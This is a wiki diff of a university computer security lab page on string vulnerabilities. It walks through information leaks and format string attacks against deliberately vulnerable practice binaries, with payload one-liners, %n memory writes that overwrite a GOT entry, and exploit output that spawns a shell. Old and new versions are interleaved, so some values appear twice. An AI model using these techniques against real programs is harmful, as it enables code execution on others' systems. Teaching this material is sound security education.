This shows you the differences between two versions of the page.
cns:labs:lab-07 [2020/11/22 19:40] mihai.dumitru2201 [Lab Support Files] |
cns:labs:lab-07 [2022/11/21 14:29] (current) mihai.dumitru2201 [Basic Format String Attack] |
||
---|---|---|---|
Line 1: | Line 1: | ||
- | ====== Lab 07 - Strings ====== | + | ====== Lab 07 - Strings ====== |
- | + | ||
- | ===== Resources ===== | + | |
- | + | ||
- | * [[http://www.cert.org/books/secure-coding/|Secure Coding in C and C++]] | + | |
- | * [[http://www.informit.com/articles/article.aspx?p=2036582|String representation in C]] | + | |
- | * [[https://www.owasp.org/index.php/Improper_string_length_checking|Improper string length checking]] | + | |
- | * [[http://cwe.mitre.org/data/definitions/134.html|Format String definition]], [[https://www.owasp.org/index.php/Format_string_attack|Format String Attack (OWASP)]], [[http://projects.webappsec.org/w/page/13246926/Format%20String|Format String Attack (webappsec)]] | + | |
- | * [[http://www.gratisoft.us/todd/papers/strlcpy.html|strlcpy and strlcat - consistent, safe, string copy and concatenation.]] This resource is useful to understand some of the string manipulation problems. | + | |
+ | ===== Tasks repository ==== | ||
+ | All content necessary for the CNS laboratory tasks can be found in [[cns:resources:repo|the CNS public repository]]. | ||
===== Intro ===== | ===== Intro ===== | ||
Line 43: | Line 37: | ||
We can test this using: | We can test this using: | ||
<code> | <code> | ||
- | $ python -c 'print("A"*32)' | ./basic_info_leak | + | $ python -c 'import sys; sys.stdout.buffer.write(b"A"*32)' | ./basic_info_leak |
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�8� | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�8� | ||
</code> | </code> | ||
Line 49: | Line 43: | ||
In order to check the hexadecimal values of the leak, we pipe the output through ''xxd'': | In order to check the hexadecimal values of the leak, we pipe the output through ''xxd'': | ||
<code> | <code> | ||
- | $ python -c 'print("A"*32)' | ./basic_info_leak | xxd | + | $ python -c 'import sys; sys.stdout.buffer.write(b"A"*32)' | ./basic_info_leak | xxd |
00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA | 00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA | ||
00000010: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA | 00000010: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA | ||
Line 135: | Line 129: | ||
$ gdb -q ./info_leak | $ gdb -q ./info_leak | ||
Reading symbols from ./info_leak...done. | Reading symbols from ./info_leak...done. | ||
- | gdb-peda$ b printf | + | gdb-peda$ b my_main |
Breakpoint 1 at 0x400560 | Breakpoint 1 at 0x400560 | ||
gdb-peda$ r < <(python -c 'import sys; sys.stdout.write(32*"A")') | gdb-peda$ r < <(python -c 'import sys; sys.stdout.write(32*"A")') | ||
Starting program: info_leak < <(python -c 'import sys; sys.stdout.write(32*"A")') | Starting program: info_leak < <(python -c 'import sys; sys.stdout.write(32*"A")') | ||
[...] | [...] | ||
+ | |||
+ | # Do next instructions until after the call to printf. | ||
+ | gdb-peda$ ni | ||
+ | .... | ||
gdb-peda$ x/12g name | gdb-peda$ x/12g name | ||
Line 187: | Line 185: | ||
<note tip> | <note tip> | ||
- | Same as above, use ''nm'' to determine address of the ''my_evil_func()'' function. | + | Same as above, use ''nm'' to determine address of the ''my_evil_func()'' function. |
+ | When sending your exploit to the remote server, adjust this address according to the binary running on the remote endpoint. The precompiled binary can be found in [[cns:resources:repo|the CNS public repository]]. | ||
</note> | </note> | ||
Line 199: | Line 198: | ||
<note tip> | <note tip> | ||
- | In case of a successful exploit the program will return with the ''42'' error code in the ''my_evil_func()'' function, same as below: | + | In case of a successful exploit the program will spawn a shell in the ''my_evil_func()'' function, same as below: |
<code> | <code> | ||
$ python exploit.py | $ python exploit.py | ||
Line 206: | Line 205: | ||
[*] old_rbp is 0x7fffffffdd40 | [*] old_rbp is 0x7fffffffdd40 | ||
[*] return address is located at is 0x7fffffffdd38 | [*] return address is located at is 0x7fffffffdd38 | ||
- | [*] Process './info_leak' stopped with exit code 42 (pid 6422) | + | [*] Switching to interactive mode |
+ | Returning from main! | ||
+ | $ id | ||
+ | uid=1000(ctf) gid=1000(ctf) groups=1000(ctf) | ||
</code> | </code> | ||
</note> | </note> | ||
Line 264: | Line 266: | ||
==== Basic Format String Attack ==== | ==== Basic Format String Attack ==== | ||
- | You will now do a basic format string attack using the ''basic-format-string/'' subfolder in the [[http://elf.cs.pub.ro/oss/res/labs/lab-07.tar.gz|lab archive]]. The source code is in ''basic_format_string.c'' and the executable is in ''basic_format_string''. | + | You will now do a basic format string attack using the ''03-basic-format-string/'' subfolder. The source code is in ''basic_format_string.c'' and the executable is in ''basic_format_string''. |
- | You need to use ''%n'' to overwrite the value of the ''v'' variable to ''200''. You have to do three steps: | + | You need to use ''%n'' to overwrite the value of the ''v'' variable to ''0x300''. You have to do three steps: |
- Determine the address of the ''v'' variable using ''nm''. | - Determine the address of the ''v'' variable using ''nm''. | ||
- Determine the ''n''-th parameter of ''printf()'' that you can write to using ''%n''. The ''buffer'' variable will have to be that parameter; you will store the address of the ''v'' variable in the ''buffer'' variable. | - Determine the ''n''-th parameter of ''printf()'' that you can write to using ''%n''. The ''buffer'' variable will have to be that parameter; you will store the address of the ''v'' variable in the ''buffer'' variable. | ||
- | - Construct a format string that enables the attack; the number of characters processed by ''printf()'' until ''%n'' is matched will have to be ''200''. | + | - Construct a format string that enables the attack; the number of characters processed by ''printf()'' until ''%n'' is matched will have to be ''0x300''. |
For the second step let's run the program multiple times and figure out where the ''buffer'' address starts. We fill ''buffer'' with the ''aaaa'' string and we expect to discover it using the ''printf()'' format specifiers. | For the second step let's run the program multiple times and figure out where the ''buffer'' address starts. We fill ''buffer'' with the ''aaaa'' string and we expect to discover it using the ''printf()'' format specifiers. | ||
Line 296: | Line 298: | ||
</code> | </code> | ||
- | We need that number to be ''200''. You can fine tune the format string by using a construct such as ''%32llx'' to print a number on ''32'' characters instead of a maximum of ''16'' characters. See how much extra room you need and see if you reach ''200'' bytes. | + | We need that number to be ''0x300''. You can fine tune the format string by using a construct such as ''%32llx'' to print a number on ''32'' characters instead of a maximum of ''16'' characters. See how much extra room you need and see if you reach ''0x300'' bytes. |
<note important> | <note important> | ||
Line 304: | Line 306: | ||
After the plan is complete, write down the attack by filling the ''TODO'' lines in the ''exploit.py'' solution skeleton. | After the plan is complete, write down the attack by filling the ''TODO'' lines in the ''exploit.py'' solution skeleton. | ||
- | After you write 200 chars in v, you should obtain shell | + | /* |
+ | <note tip> | ||
+ | When sending your exploit to the remote server, adjust this address according to the binary running on the remote endpoint. The precompiled binary can be found in [[cns:resources:repo|the CNS public repository]]. | ||
+ | </note> | ||
+ | */ | ||
+ | |||
+ | After you write 0x300 chars in v, you should obtain shell | ||
<code> | <code> | ||
- | $ python exploit64.py | + | $ python exploit.py |
[!] Could not find executable 'basic_format_string' in $PATH, using './basic_format_string' instead | [!] Could not find executable 'basic_format_string' in $PATH, using './basic_format_string' instead | ||
[+] Starting local process './basic_format_string': pid 20785 | [+] Starting local process './basic_format_string': pid 20785 | ||
Line 367: | Line 375: | ||
By trial and error or by using GDB (breakpoint on ''printf'') we can determine where the buffer starts | By trial and error or by using GDB (breakpoint on ''printf'') we can determine where the buffer starts | ||
<code bash> | <code bash> | ||
- | $ ./format "$(python -c 'print("ABCD" + "%08x\n " * 200')" | grep -n 41 | head | + | $ ./format "$(python -c 'import sys; sys.stdout.buffer.write(b"ABCD" + b"%08x\n " * 0x300)')" | grep -n 41 | head |
10: ffffc410 | 10: ffffc410 | ||
52: ffffcc41 | 52: ffffcc41 | ||
Line 386: | Line 394: | ||
pad = b"ABCD" | pad = b"ABCD" | ||
val_fmt = b"%08x\n " | val_fmt = b"%08x\n " | ||
- | fmt = pad + val_fmt * stack_items | + | # add a \n at the end for consistency with the command line run |
+ | fmt = pad + val_fmt * stack_items + b"\n" | ||
io = process(["./format", fmt]) | io = process(["./format", fmt]) | ||
Line 396: | Line 405: | ||
<code> | <code> | ||
- | $ python2 exploit.py | + | $ python exploit.py |
</code> | </code> | ||
</note> | </note> | ||
Line 404: | Line 413: | ||
We can compress our buffer by specifying the position of the argument. | We can compress our buffer by specifying the position of the argument. | ||
<code bash> | <code bash> | ||
- | $ ./format $(python -c 'print("ABCD" + "AAAAAAAA" * 199 + "%175$08x")') | + | $ ./format $(python -c 'import sys; sys.stdout.buffer.write(b"ABCD" + b"AAAAAAAA" * 199 + b"%175$08x")') |
ABCDAAAAAAAA...AAAAAAAAAAAAAAAAAAAAAAAAAAAA44434241 | ABCDAAAAAAAA...AAAAAAAAAAAAAAAAAAAAAAAAAAAA44434241 | ||
This is the most useless and insecure program! | This is the most useless and insecure program! | ||
</code> | </code> | ||
- | <note warning>''"AAAAAAAA" * 199'' is added to maintain the length of the original string, otherwise the offset might change.</note> | + | <note warning>''b"AAAAAAAA" * 199'' is added to maintain the length of the original string, otherwise the offset might change.</note> |
- | You can see that the last information is our "ABCD" string printed with ''%08x'' this means that we know where our buffer is. | + | You can see that the last information is our b"ABCD" string printed with ''%08x'' this means that we know where our buffer is. |
<note tip> | <note tip> | ||
Line 440: | Line 449: | ||
We can replace ''%08x'' with ''%n'' this should lead to segmentation fault. | We can replace ''%08x'' with ''%n'' this should lead to segmentation fault. | ||
<code bash> | <code bash> | ||
- | $ ./format "$(python -c 'print("ABCD" + "AAAAAAAA" * 199 + "%175$08n"')" | + | $ ./format "$(python -c 'import sys; sys.stdout.buffer.write(b"ABCD" + b"AAAAAAAA" * 199 + b"%175$08n")')" |
Segmentation fault (core dumped) | Segmentation fault (core dumped) | ||
$ gdb ./format -c core | $ gdb ./format -c core | ||
Line 460: | Line 469: | ||
Bingo. We have memory write. The vulnerable code tried to write at the address ''0x44434241'' ("ABCD" little endian) the value 1596. The value 1596 is the amount of data wrote so far by ''printf'' (''"ABCD" + 199 * "AAAAAAAA"''). | Bingo. We have memory write. The vulnerable code tried to write at the address ''0x44434241'' ("ABCD" little endian) the value 1596. The value 1596 is the amount of data wrote so far by ''printf'' (''"ABCD" + 199 * "AAAAAAAA"''). | ||
- | Right now, our input string has 1604 bytes. But we can further compress it, thus making the value that we write independent of the length of the input. | + | Right now, our input string has 1605 bytes (1604 with a ''\n'' at the end). But we can further compress it, thus making the value that we write independent of the length of the input. |
<code bash> | <code bash> | ||
- | $ ./format "$(python -c 'print("ABCD" + "A" * 1588 + "%99x" + "%126$08n")')" | + | $ ./format "$(python -c 'import sys; sys.stdout.buffer.write("ABCD" + "A" * 1588 + "%99x" + "%126$08n")')" |
Segmentation fault (core dumped) | Segmentation fault (core dumped) | ||
$ gdb ./format -c core | $ gdb ./format -c core | ||
Line 477: | Line 486: | ||
Remember, we want to write a value to a certain address. So far we control the address, but the value is somewhat limited. If we want to write 4 bytes at a time we can make use of the endianess of the machine. **The idea** is to write at the address n and then at the address n+1 and so on. | Remember, we want to write a value to a certain address. So far we control the address, but the value is somewhat limited. If we want to write 4 bytes at a time we can make use of the endianess of the machine. **The idea** is to write at the address n and then at the address n+1 and so on. | ||
- | Lets first display the address. We are using the address ''0x804c008''. This address is the address of the got entry for the puts function. Basically, we will override the got entry for the puts. | + | Lets first display the address. We are using the address ''0x804c014''. This address is the address of the got entry for the puts function. Basically, we will override the got entry for the puts. |
- | <code bash> | + | Check the ''exploit.py'' script from the task directory, read the commends and understand what it does. |
- | $ objdump -R ./format | grep puts | + | |
- | 0804a008 R_386_JUMP_SLOT puts | + | |
- | $ ./format "$(python -c 'print "\x08\xa0\x04\x08" + "\x09\xa0\x04\x08" + "\x0a\xa0\x04\x08" + "\x0b\xa0\x04\x08" + "A" * 498 + "%255x|" + "%126$08x" + "%255x|" + "%127$08x" + "%255x|" + "%128$08x"')" | + | |
- | + | ||
- | + | ||
- | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ... | + | |
- | 0|0804a008 | + | |
- | f7e2a4d3|0804a009 | + | |
- | 2|0804a00a | + | |
- | ffffd2c4|0804a00b | + | |
- | This is the most useless and insecure program! | + | |
- | + | ||
- | </code> | + | |
- | Why are we printing 498 ''A''s? We added 12 bytes before our format and 6 extra bytes for the output -- the ''|'' is there only for pretty print. We want to keep in place the first argument -- anyway, you should always check this. | + | |
- | Lets replace the ''%x'' with ''%n'' | ||
<code bash> | <code bash> | ||
- | $ ./format "$(python -c 'print "\x08\xa0\x04\x08" + "\x09\xa0\x04\x08" + "\x0a\xa0\x04\x08" + "\x0b\xa0\x04\x08" + "A" * 498 + "%255x|" + "%126$08n" + "%255x|" + "%127$08n" + "%255x|" + "%128$08n" + "%255x|" + "%129$08n"')" | + | $ python exploit.py |
- | $ gdb ./format -c core | + | [*] 'format' |
- | Program terminated with signal 11, Segmentation fault. | + | Arch: i386-32-little |
- | #0 0x02020202 in ?? () | + | RELRO: Partial RELRO |
- | (gdb) x/x 0x0804a000 | + | Stack: No canary found |
- | 0x804a000 <printf@got.plt>: 0xf7e5ded0 | + | NX: NX enabled |
- | (gdb) x/x 0x0804a004 | + | PIE: No PIE (0x8048000) |
- | 0x804a004 <fwrite@got.plt>: 0x08048396 | + | [+] Starting local process './format': pid 29030 |
- | (gdb) x/x 0x0804a008 | + | [*] Switching to interactive mode |
- | 0x804a008 <puts@got.plt>: 0x02020202 | + | [*] Process './format' stopped with exit code 0 (pid 29030) |
- | (gdb) x/x 0x0804a00c | + | \x14\x04\x15\x04\x17\x04\x18\x04 804c014 804c015 804c017 804c018 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... |
- | 0x804a00c <__gmon_start__@got.plt>: 0x08000006 | + | This is the most useless and insecure program! |
- | (gdb) | + | |
</code> | </code> | ||
- | In the gdb session above you can see: | + | The output starts with ''\x14\x04\x15\x04\x17\x04\x18\x04 804c014 804c015 804c017 804c018'' which is the 4 addresses we have written (raw, little endian) followed by the numerical prints done with ''%x'' of the same addresses. |
- | - the got entry for printf points to a library address (the address starts with 0xf) | + | |
- | - the got entry for fwrite points to some code inside the binary. This means that the function wasn't yet called, the loader didn't load this address yet. | + | |
- | - the puts entry points to 0x02020202. This is the value that we wrote. | + | |
- | **How come we wrote the first ''0x02''?** | + | If you have the same output it means that now, if you replace ''%x'' with ''%n'' (change ''fmt = write_fmt'' in the script) it will try to write something at those valid addresses. |
- | Just before executing the first ''%n'' the vulnerable code printed 770 (4*4+498+256) bytes and hex(770) == 0x302. | + | |
- | **How come the rest of the bytes are ''0x02''?** | + | We want to put the value ''0x080491a6''. |
- | After executing the first ''%n'' we printed another 256 bytes before each ''%n'' so we actually wrote 0x402, 0x502 and 0x602. You can see that the last three bytes ''%%__gmon_start__@got.plt%%'' are ''0x000006''. | + | |
- | + | ||
- | We want to put the value ''0x08048494''. | + | |
<code bash> | <code bash> | ||
$ objdump -d ./format | grep my_evil | $ objdump -d ./format | grep my_evil | ||
- | 08048494 <my_evil_func>: | + | 080491a6 <my_evil_func>: |
- | </code> | + | |
- | The first byte is ''0x94'' (little endian), recall that we were able to write ''0x02'', writing ''0x94'' means replacing first 255 with 255-(0x102-0x94) == 145. | + | |
- | <code bash> | + | |
- | $ ./format "$(python -c 'print "\x08\xa0\x04\x08" + "\x09\xa0\x04\x08" + "\x0a\xa0\x04\x08" + "\x0b\xa0\x04\x08" + "A" * 498 + "%145x|" + "%126$08n" + "%255x|" + "%127$08n" + "%255x|" + "%128$08n" + "%255x|" + "%129$08n"')" | + | |
- | $ gdb ./format -c core | + | |
- | #0 0x94949494 in ?? () | + | |
- | (gdb) quit | + | |
- | </code> | + | |
- | The next byte that we want to write is ''0x84'' so we need to replace 255 with 235. We can continue this idea until we profit. | + | |
- | <code bash> | + | |
- | $ ./format "$(python -c 'print "\x08\xa0\x04\x08" + "\x09\xa0\x04\x08" + "\x0a\xa0\x04\x08" + "\x0b\xa0\x04\x08" + "A" * 498 + "%145x|" + "%126$08n" + "%239x|" + "%127$08n" + "%127x|" + "%128$08n" + "%259x|" + "%129$08n"')" | tr -s ' ' > /dev/null | + | |
- | I'm evil, but nobody calls me :-( | + | |
</code> | </code> | ||
+ | <note important> | ||
+ | As ''%n'' writes how many characters have been printed until it is reached, each ''%n'' will print an incrementally larger value. | ||
+ | We use the 4 adjacent adressess to write byte by byte and use overflows to reach a lower value for the next byte. | ||
+ | For example, after writing ''0xa6'' we can write ''0x0191'': | ||
+ | |||
+ | {{cns:labs:bytes_write.png?500}} | ||
+ | |||
+ | Also, the ''%n'' count doesn't reset so, if we want to write ''0xa6'' and then ''0x91'' the payload should be in the form of: | ||
+ | |||
+ | ''<0xa6 bytes>%n<0x100 - 0xa6 + 0x91 bytes>%n'' | ||
+ | |||
+ | As mentionet earlier above, instead writing N bytes ''"A" * N'' you can use other format strings like ''%Nc'' or ''%Nx'' to keep the payload shorter. | ||
+ | </note> | ||
**[1p] Bonus task** Can you get a shell? (Assume ASLR is disabled). | **[1p] Bonus task** Can you get a shell? (Assume ASLR is disabled). | ||
Line 559: | Line 546: | ||
* Pidgin off the record plugin [[http://www.cvedetails.com/cve/CVE-2012-2369|CVE-2012-2369]]. The fix is [[https://bugzilla.novell.com/show_bug.cgi?id=762498#c1|here]] | * Pidgin off the record plugin [[http://www.cvedetails.com/cve/CVE-2012-2369|CVE-2012-2369]]. The fix is [[https://bugzilla.novell.com/show_bug.cgi?id=762498#c1|here]] | ||
+ | ===== Resources ===== | ||
+ | |||
+ | * [[http://www.cert.org/books/secure-coding/|Secure Coding in C and C++]] | ||
+ | * [[http://www.informit.com/articles/article.aspx?p=2036582|String representation in C]] | ||
+ | * [[https://www.owasp.org/index.php/Improper_string_length_checking|Improper string length checking]] | ||
+ | * [[http://cwe.mitre.org/data/definitions/134.html|Format String definition]], [[https://www.owasp.org/index.php/Format_string_attack|Format String Attack (OWASP)]], [[http://projects.webappsec.org/w/page/13246926/Format%20String|Format String Attack (webappsec)]] | ||
+ | * [[http://www.gratisoft.us/todd/papers/strlcpy.html|strlcpy and strlcat - consistent, safe, string copy and concatenation.]] This resource is useful to understand some of the string manipulation problems. |